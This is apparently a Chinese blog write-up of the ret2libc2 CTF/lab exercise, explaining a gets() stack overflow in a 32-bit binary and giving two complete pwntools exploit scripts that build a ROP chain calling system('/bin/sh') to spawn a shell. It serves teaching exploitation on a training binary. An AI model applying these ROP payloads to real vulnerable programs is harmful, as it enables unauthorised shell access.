ROP-基礎-ret2libc2

文件下載地址:

鏈接:https://pan.baidu.com/s/1Lncq6vrUNEJ7vLKvTQ_gsA
提取碼:yywk

0x01.分析

checksec:

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

只開了堆棧不可執行。

源碼:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-64h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("Something surprise here, but I don't think it will work.");
  printf("What do you think ?");
  gets(&s);
  return 0;
}

存在gets,繼續看線程窗口:

繼續找到system的地址:

sytem地址:0x08048490

沒有找到bin/sh,所有我們可以自己製造一個。

先再bss段找一個變量:

buf2的地址爲:0x0804A080

我們需要調用gets函數,讀取一個bin/sh放在buf2,然後找到gets函數,去plt表看:

gets地址爲:0x08048460。

得到偏移量:

0x02.exp

方法一:

##!/usr/bin/env python
from pwn import*

r=process('./ret2libc2')

sys_adr=0x08048490
gets_adr=0x08048460
buf2_adr=0x0804A080


payload=flat([112*'A',gets_adr,sys_adr,buf2_adr,buf2_adr])

r.sendline(payload)
r.sendline('/bin/sh')
r.interactive()           

方法二:

需要再尋找一個pop(作用後面說):

ROPgadget --binary ret2libc2 --only 'pop|ret'| grep 'ebx'
0x0804872c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804843d : pop ebx ; ret

pop ebx地址爲:0x0804843d

##!/usr/bin/env python
from pwn import*

r=process('./ret2libc2')

sys_adr=0x08048490
gets_adr=0x08048460
buf2_adr=0x0804A080
pop_ebx=0x0804843D

payload=flat([112*'A',gets_adr,pop_ebx,buf2_adr,sys_adr,'AAAA',buf2_adr])
#payload=flat([112*'A',gets_adr,sys_adr,buf2_adr,buf2_adr])

r.sendline(payload)
r.sendline('/bin/sh')
r.interactive()
~                   

 

0x03.總結

由於沒有/bin/sh字符串,所有我們需要自己製造一個出來,利用存在的gts函數,讀取一個/bin/sh到bss段的buf2處,再在後面的調用中把buf2作爲參數。

第一種方法,棧分步應該是這樣的,從上到下(低地址到高地址):

  • gets地址
  • system地址(也是gets的返回地址)
  • buf2(是gets的參數)
  • buf2(是system的參數)

第二種方法:

  • gets地址
  • pop ebx ;ret地址
  • buf2(gets的參數)
  • system地址
  • buf2(system的參數)

第一種方法很好理解。

第二種方法就是在調用gets函數後,把參數buf2給pop掉,這樣返回地址就變成了system,就會返回到system。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章